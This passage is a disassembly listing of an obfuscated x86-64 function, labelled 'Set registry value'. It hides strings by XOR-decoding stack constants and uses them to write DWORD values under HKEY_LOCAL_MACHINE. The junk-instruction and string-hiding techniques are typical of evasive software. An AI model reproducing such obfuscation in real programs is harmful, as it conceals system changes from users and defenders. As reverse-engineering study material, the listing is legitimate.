Function at 0x1403fe325
Capabilities:
Set registry value

Disassembly:
push r15
rol r15b, 0xd6
xor ax, di
push r14
movzx ax, r10b
bts r14w, bx
push r13
xadd al, r14b
push r12
push rsi
shl r13b, cl
sbb r15b, 0xbc
push rdi
sub r14b, r11b
push rbp
shr r13b, cl
sar r13w, cl
bt r12d, r8d
push rbx
sub rsp, 0x2f8
movabs rax, 0xe009ec3224c8fd6e
cmovl rdi, rbx
movzx r12, cx
mov qword [rsp + 0x2e0], rax
movsx ebp, r9w
mov qword [rsp + 0x40], rax
movabs rax, 0x2204bcb80ebea5a3
mov qword [rsp + 0x2d8], rax
mov qword [rsp + 0x48], rax
movabs rax, 0xfbc9f38de01f2fa2
mov qword [rsp + 0x2d0], rax
mov rdi, rax
mov qword [rsp + 0x50], rax
movsx r13, bp
movabs rax, 0x17a75ff95317a686
not bp
mov bh, al
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0x58], rax
movabs rax, 0xfd99d5578f55fa6f
movsx r14d, bp
mov qword [rsp + 0x2c0], rax
jmp 0x1403fe3f4
mov qword [rsp + 0x60], rax
bswap r14w
xchg r12b, r12b
movabs rax, 0x4b3964fdcd447246
movsxd rdi, r13d
movzx rdi, r10w
mov qword [rsp + 0x2b8], rax
setnp r13b
movzx ebx, r9w
mov qword [rsp + 0x68], rax
not sil
cwde
mov r14, 0x6380279a
movabs rax, 0xee88324679eb2227
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x70], rax
setnp r14b
movabs rax, 0x6d7346ad6d4ffefa
mov qword [rsp + 0x2a8], rax
movsx r12, si
mov qword [rsp + 0x78], rax
mov bx, 0x5f9
mov bl, r15b
cwde
movabs rax, 0xd093683aef376a76
movzx rbx, sp
movsxd rsi, r9d
mov qword [rsp + 0x2a0], rax
xchg sil, dil
movsx r12w, sil
jmp 0x1403fe495
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
movsxd r12, edi
cmovae r14d, edi
mov qword [rsp + 0x298], rax
movsx r15, ax
movsx r13w, dl
jmp 0x1403fe4c4
mov qword [rsp + 0x88], rax
movsx ebp, bp
movsx rax, r9w
movsx bp, r13b
movabs rax, 0x33e730243394033e
movsx r15, ax
mov qword [rsp + 0x290], rax
cmovne r15d, r10d
bswap ebp
movsx r15w, dl
mov qword [rsp + 0x90], rax
movabs rax, 0xe7e3977e114e6703
xchg r15, r15
movsx r14d, di
mov si, 0x6683
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x98], rax
movabs rax, 0xb0b65ec58a603c8
movsx r15w, r8b
mov qword [rsp + 0x280], rax
movzx bp, r9b
mov qword [rsp + 0xa0], rax
movabs rax, 0x6708be65ca8156d7
movsxd r15, r14d
mov qword [rsp + 0x278], rax
movsxd r15, ebx
mov qword [rsp + 0xa8], rax
movzx rax, di
mov bh, 0xd7
movsx r13d, si
movabs rax, 0x46a7044da5524090
mov qword [rsp + 0x270], rax
mov qword [rsp + 0xb0], rax
movabs rax, 0x4b8cb541ca050f46
mov r14w, r13w
mov qword [rsp + 0x268], rax
jmp 0x1403fe5ad
mov qword [rsp + 0xb8], rax
mov sil, sil
cbw
movzx rax, sp
movabs rax, 0xe627ab41184af921
mov qword [rsp + 0x260], rax
mov qword [rsp + 0xc0], rax
movzx rbx, r10w
movabs rax, 0x34c77b6e31b9a
cmovg r13d, ebx
setns r14b
movsx r13, di
mov qword [rsp + 0x258], rax
movsxd r14, r11d
movzx r12d, bp
mov qword [rsp + 0xc8], rax
movsxd rbx, ebp
movabs rax, 0xd8cf4ec0049852bb
movzx ebp, r12w
setbe bh
jmp 0x1403fe622
mov qword [rsp + 0xd0], rax
cwde
movsx di, al
cmovns rbx, rsi
movabs rax, 0xa5eac9844f8ea419
movzx r13w, r13b
movzx esi, r12w
cmovo r15d, r8d
mov qword [rsp + 0xd8], rax
cbw
movzx rsi, r12w
cwde
mov qword [rsp + 0x30], 0
mov sil, al
mov dword [rsp + 0x3c], 0
lahf
movabs rbp, 0x2eb490333e21dae3
cwde
mov al, al
mov qword [rsp + 0xe0], rbp
movzx ax, r12b
jmp 0x1403fe68d
movabs r14, 0x28903e48668cb956
not dil
movsx di, r8b
mov qword [rsp + 0xe8], r14
movabs r15, 0xe05dec612491fd3d
lahf
mov qword [rsp + 0x100], r15
movabs r12, 0x2247bce40ef3a5e6
bswap rsi
movsx edi, r14w
mov qword [rsp + 0x108], r12
movsx edi, dx
setns bh
cmovnp esi, ebx
movabs rsi, 0xfbacf3ffe06d2fd7
bswap r13d
lahf
mov qword [rsp + 0x110], rsi
movabs rdi, 0x17c85fba5363a6e8
movsx r13d, cx
movzx ax, r10b
not r13b
mov qword [rsp + 0x118], rdi
movsx r13d, r12w
cbw
nop
movabs rax, 0xfdf6d5258f21fa01
movsx r13, ax
movsx r13w, sil
bswap bx
mov qword [rsp + 0x120], rax
cmovne rbx, r10
mov rbx, rax
movabs rax, 0x4b4d6498cd17722a
movsx r13d, cx
mov qword [rsp + 0x2f0], rax
movzx r13d, r12w
setl r13b
mov qword [rsp + 0x128], rax
movabs rax, 0xeefa322379b8227b
bswap r13w
mov qword [rsp + 0x250], rax
movzx r13d, r15w
mov r13d, 0x7a396fb9
mov qword [rsp + 0x130], rax
cwde
setnp r13b
xchg r13b, r13b
movabs rax, 0x6d1646ce6d26fe8c
cmove r13d, eax
movzx r13w, r12b
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x138], rax
movabs rax, 0xd0fb6869ef6b6a05
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x140], rax
bswap r13w
movzx rax, r8w
movabs rax, 0xa86b938cd3598c0e
cmovo r13, r13
not r13
mov r13, r9
mov qword [rsp + 0x238], rax
movsx r13w, r15b
mov r13b, r14b
mov r13b, 0xb5
mov qword [rsp + 0x148], rax
movsxd rax, ecx
mov ax, dx
movabs rax, 0x3382304733f7037f
mov r13b, 0xb1
not r13w
mov qword [rsp + 0x230], rax
movzx r13d, r12w
mov qword [rsp + 0x150], rax
movzx r13, si
bswap r13w
movabs rax, 0xe7b39722113d6770
jmp 0x1403fe84d
mov qword [rsp + 0x228], rax
movzx r13d, r10w
mov qword [rsp + 0x158], rax
movabs rax, 0xb66658d58d403a9
jmp 0x1403fe874
mov qword [rsp + 0x220], rax
xchg r13b, r13b
seto r13b
movzx r13d, r9w
mov qword [rsp + 0x160], rax
setnp ah
movabs rax, 0x677abe00caf556b2
movzx r13d, ax
movzx r13, sp
movsx r13d, di
mov qword [rsp + 0x218], rax
movzx r13, bp
mov r13b, 0xf
movsxd r13, r11d
mov qword [rsp + 0x168], rax
mov r13w, 0x1050
mov al, r15b
movabs rax, 0x46ce040ba50e40e3
mov qword [rsp + 0x210], rax
bswap r13
movzx r13, r10w
movsx r13d, r15w
mov qword [rsp + 0x170], rax
bswap ax
movabs rax, 0x4bedb536ca600f34
setle r13b
cmovnp r13w, r15w
not r13w
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x178], rax
movsx r13d, bx
movabs rax, 0xe648ab111826f94d
movsxd r13, r14d
movzx r13w, r12b
movsx r13w, cl
mov qword [rsp + 0x200], rax
cmovne r13d, r10d
not r13w
mov r13b, 0xbc
mov qword [rsp + 0x180], rax
movabs rax, 0x7a4c14b68a1bf6
not r13b
jmp 0x1403fe964
mov qword [rsp + 0x1f8], rax
cmovg r13w, r10w
mov qword [rsp + 0x188], rax
mov r13b, 0x2f
movabs rax, 0xd8a24eaf04dc52e7
jmp 0x1403fe98e
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x190], rax
movzx ax, r9b
movabs rax, 0xa5bac9ea4fe7a478
movsx r13d, cx
mov qword [rsp + 0x1e8], rax
mov r13, 0x28d43863
mov r13w, r13w
mov qword [rsp + 0x198], rax
xchg r13d, eax
movsx ax, bh
movzx eax, cx
movabs rax, 0x2edd90553e4eda91
mov qword [rsp + 0x1e0], rax
setae r13b
mov qword [rsp + 0x1a0], rax
xchg r13w, ax
cmovp rax, r10
movsx rax, r15w
movabs rax, 0x28903e4866e9b93a
mov r13b, cl
movsx r13w, cl
jmp 0x1403fea15
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1a8], rax
lea r13, [rsp + 0x100]
cbw
bswap ax
mov ax, 0x1237
mov rax, r13
jmp 0x1403fea3e
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fea48
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403fea76
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fea8c
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403feaa5
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403feade
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403feaeb
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403feaff
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403feb0c
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403feb20
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403feb2d
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
cwd
lea rdx, [rsp + 0x40]
xchg r8b, r8b
lea r8, [rsp + 0x30]
movsx rcx, di
jmp 0x1403feb57
mov rcx, 0xffffffff80000002
jmp 0x1403feb63
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
mov qword [rsp + 0x1d0], rax
jmp 0x1403feb80
mov qword [rsp + 0x40], rax
cbw
movzx ax, r12b
movabs rax, 0x222ebca20e96a58a
mov qword [rsp + 0x1c8], rax
jmp 0x1403feba3
mov qword [rsp + 0x48], rax
movsx ax, sil
not al
cdqe
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403febc0
mov qword [rsp + 0x2e8], rax
jmp 0x1403febcd
mov qword [rsp + 0x50], rax
cbw
movabs rax, 0x17c85fba530fa684
jmp 0x1403febe3
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
movzx rax, r11w
mov qword [rsp + 0x108], r12
cbw
movzx rax, r14w
mov qword [rsp + 0x110], rsi
movsxd rax, r14d
not al
mov qword [rsp + 0x118], rdi
mov rax, r13
jmp 0x1403fec27
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fec31
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fec3e
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fec48
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x30]
test ax, 0x33f
lea rax, [rsp + 0x3c]
ror r9, cl
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
movzx r9, di
rcl r9d, 0x1c
xor r8d, r8d
mov r9d, 4
jmp 0x1403fec8a
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fec9a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fecad
mov qword [rsp + 0x40], rax
cbw
mov ax, r11w
setge al
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fecc8
mov qword [rsp + 0x48], rax
xchg al, al
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
jmp 0x1403fece1
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
nop
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fecfd
mov qword [rsp + 0x60], rax
movzx ax, r9b
mov al, r10b
jmp 0x1403fed0f
mov rax, qword [rsp + 0x2b8]
jmp 0x1403fed1c
mov qword [rsp + 0x68], rax
cbw
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fed30
mov qword [rsp + 0x70], rax
movzx eax, si
movsx ax, bpl
jmp 0x1403fed42
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fed4f
mov qword [rsp + 0x78], rax
bswap rax
not al
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fed66
mov qword [rsp + 0x80], rax
bswap ax
cmovns rax, rsi
nop
mov rax, qword [rsp + 0x298]
jmp 0x1403fed84
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x290]
jmp 0x1403fed99
mov qword [rsp + 0x90], rax
cdqe
setge ah
nop
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x98], rax
jmp 0x1403fedc0
mov rax, qword [rsp + 0x280]
jmp 0x1403fedcd
mov qword [rsp + 0xa0], rax
movzx rax, r12w
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
movsx eax, r8w
mov ax, 0x6109
cdqe
mov rax, qword [rsp + 0x270]
jmp 0x1403fee00
mov qword [rsp + 0xb0], rax
sets ah
mov rax, qword [rsp + 0x268]
jmp 0x1403fee18
mov qword [rsp + 0xb8], rax
cwde
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
cbw
jmp 0x1403fee38
mov rax, qword [rsp + 0x258]
jmp 0x1403fee45
mov qword [rsp + 0xc8], rax
movsx eax, si
movsxd rax, r10d
movsx rax, r11w
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403fee66
mov qword [rsp + 0xd0], rax
movzx ax, r9b
movabs rax, 0xa5eac9894f8ea414
jmp 0x1403fee82
mov qword [rsp + 0xd8], rax
mov ah, 0xbf
nop
jmp 0x1403fee94
mov qword [rsp + 0xe0], rbp
not ax
mov qword [rsp + 0xe8], r14
movsxd rbp, edx
mov qword [rsp + 0x100], r15
jmp 0x1403feeba
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
cbw
mov eax, r9d
movzx ebp, cx
mov qword [rsp + 0x118], rdi
bswap r14w
cwde
cdqe
mov rbp, rbx
cmovp r14, rdx
bswap ax
mov qword [rsp + 0x120], rbx
lahf
mov r14, qword [rsp + 0x2f0]
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
movsx ax, sil
lahf
cmovae ax, di
mov rax, qword [rsp + 0x248]
jmp 0x1403fef2b
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
cdqe
mov rax, qword [rsp + 0x238]
jmp 0x1403fef52
mov qword [rsp + 0x148], rax
cbw
cmovns ax, r11w
mov rax, qword [rsp + 0x230]
jmp 0x1403fef6e
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x228]
jmp 0x1403fef83
mov qword [rsp + 0x158], rax
cbw
mov rax, qword [rsp + 0x220]
jmp 0x1403fef9a
mov qword [rsp + 0x160], rax
movsx ax, ch
not eax
mov rax, qword [rsp + 0x218]
jmp 0x1403fefb5
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x210]
jmp 0x1403fefca
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x1403fefdf
mov qword [rsp + 0x178], rax
cwde
movzx rax, r15w
nop
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
jmp 0x1403ff00b
mov qword [rsp + 0x188], rax
cmovno ax, r13w
movsxd rax, esi
cbw
mov rax, qword [rsp + 0x1f0]
jmp 0x1403ff02a
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
jmp 0x1403ff04f
mov qword [rsp + 0x1a0], rax
movzx rax, di
cdqe
mov rax, qword [rsp + 0x1d8]
jmp 0x1403ff06a
mov qword [rsp + 0x1a8], rax
setno ah
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403ff082
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1403ff08c
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403ff096
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403ff0a3
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403ff0ad
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1403ff0bb
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403ff0c9
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403ff0d7
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403ff0e4
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403ff0fd
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403ff10e
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403ff11b
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403ff140
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403ff15c
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403ff169
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403ff17d
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
bswap rcx
movzx cx, bpl
movsx dx, r13b
lea rdx, [rsp + 0x40]
bswap ecx
movzx r8w, dil
movsxd rcx, esp
mov rcx, 0xffffffff80000002
lea r8, [rsp + 0x30]
jmp 0x1403ff1c1
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
movzx bx, al
mov qword [rsp + 0x40], rax
movzx rax, r13w
cdqe
mov rax, qword [rsp + 0x1c8]
movsx rbx, sp
mov qword [rsp + 0x48], rax
xchg bx, bx
mov rbx, qword [rsp + 0x2e8]
mov qword [rsp + 0x50], rbx
mov ax, r8w
mov rax, qword [rsp + 0x1c0]
jmp 0x1403ff210
mov qword [rsp + 0x58], rax
cwde
mov qword [rsp + 0x100], r15
jmp 0x1403ff22a
mov qword [rsp + 0x108], r12
cdqe
cbw
movsx eax, r14w
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
cmova eax, r15d
movsx ax, r12b
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403ff268
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
test r9, 0x6f17154b
mov rcx, qword [rsp + 0x30]
rcl rax, cl
neg ax
clc
lea rax, [rsp + 0x3c]
btr rdx, 0x9c
test r13d, 0x1b3f5cf3
mov qword [rsp + 0x20], rax
btr dx, r13w
adc r9w, 0x51fa
movzx rdx, di
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
xor r8d, r8d
mov r9d, 4
jmp 0x1403ff2c9
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403ff2d9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403ff2ec
mov qword [rsp + 0x40], rax
cbw
mov rax, qword [rsp + 0x2d8]
jmp 0x1403ff300
mov qword [rsp + 0x48], rax
jmp 0x1403ff312
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
cmove ax, bx
mov rax, qword [rsp + 0x2c8]
jmp 0x1403ff330
mov qword [rsp + 0x58], rax
cdqe
lahf
mov rax, qword [rsp + 0x2c0]
jmp 0x1403ff345
mov qword [rsp + 0x60], rax
mov rax, 0x76ce0e54
movzx rax, bx
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
cbw
movzx ax, bh
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
mov ax, r14w
movzx rax, cx
cdqe
mov rax, qword [rsp + 0x2a8]
jmp 0x1403ff38c
mov qword [rsp + 0x78], rax
mov ah, 0x80
setbe ah
movsx ax, r8b
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
cbw
mov rax, rax
movsx ax, sil
mov rax, qword [rsp + 0x298]
jmp 0x1403ff3c3
mov qword [rsp + 0x88], rax
jmp 0x1403ff3d7
mov rax, qword [rsp + 0x290]
jmp 0x1403ff3e4
mov qword [rsp + 0x90], rax
movsx rax, ax
movzx rax, r13w
mov rax, qword [rsp + 0x288]
jmp 0x1403ff401
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
jmp 0x1403ff416
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
jmp 0x1403ff436
mov rax, qword [rsp + 0x270]
jmp 0x1403ff443
mov qword [rsp + 0xb0], rax
jmp 0x1403ff453
mov rax, qword [rsp + 0x268]
jmp 0x1403ff460
mov qword [rsp + 0xb8], rax
movzx eax, r10w
mov rax, qword [rsp + 0x260]
jmp 0x1403ff479
mov qword [rsp + 0xc0], rax
bswap ax
mov rax, qword [rsp + 0x258]
jmp 0x1403ff491
mov qword [rsp + 0xc8], rax
lahf
movabs rax, 0xd8c34edb048f52bb
jmp 0x1403ff4a9
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5c8c98b4f83a416
jmp 0x1403ff4c0
mov qword [rsp + 0xd8], rax
cdqe
not ah
movabs rax, 0x2eb290273e1edaf5
jmp 0x1403ff4db
mov qword [rsp + 0xe0], rax
movsxd rax, r10d
movzx rax, ax
cdqe
movabs rax, 0x28f53e246680b95c
jmp 0x1403ff4fb
mov qword [rsp + 0xe8], rax
setnp al
lahf
mov qword [rsp + 0x100], r15
movsx ax, r10b
mov qword [rsp + 0x108], r12
not ah
bswap ax
mov rax, rcx
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
cwde
movsxd rax, ecx
mov qword [rsp + 0x120], rbp
not rax
mov ax, r11w
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
jmp 0x1403ff55c
mov qword [rsp + 0x130], rax
nop
mov ah, 0xeb
movzx eax, r12w
mov rax, qword [rsp + 0x248]
jmp 0x1403ff579
mov qword [rsp + 0x138], rax
cbw
mov rax, rsp
mov al, 0x97
mov rax, qword [rsp + 0x240]
jmp 0x1403ff595
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x238]
jmp 0x1403ff5aa
mov qword [rsp + 0x148], rax
movzx ax, r9b
jmp 0x1403ff5bc
mov rax, qword [rsp + 0x230]
jmp 0x1403ff5c9
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x228]
jmp 0x1403ff5de
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x220]
jmp 0x1403ff5f3
mov qword [rsp + 0x160], rax
cdqe
mov rax, qword [rsp + 0x218]
jmp 0x1403ff60a
mov qword [rsp + 0x168], rax
cwde
jmp 0x1403ff61b
mov rax, qword [rsp + 0x210]
jmp 0x1403ff628
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x1403ff63d
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x200]
jmp 0x1403ff652
mov qword [rsp + 0x180], rax
bswap ax
cdqe
mov rax, qword [rsp + 0x1f8]
jmp 0x1403ff66c
mov qword [rsp + 0x188], rax
cmovg ax, r14w
cbw
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x190], rax
movsx rax, bx
cmova eax, r10d
mov rax, qword [rsp + 0x1e8]
jmp 0x1403ff6a0
mov qword [rsp + 0x198], rax
cdqe
mov ax, sp
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1a0], rax
movsxd rax, r13d
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
mov al, dh
cmovo rax, rcx
movabs rax, 0xa1410f538a85c08b
jmp 0x1403ff6e5
mov qword [rsp + 0xf0], rax
jmp 0x1403ff6f2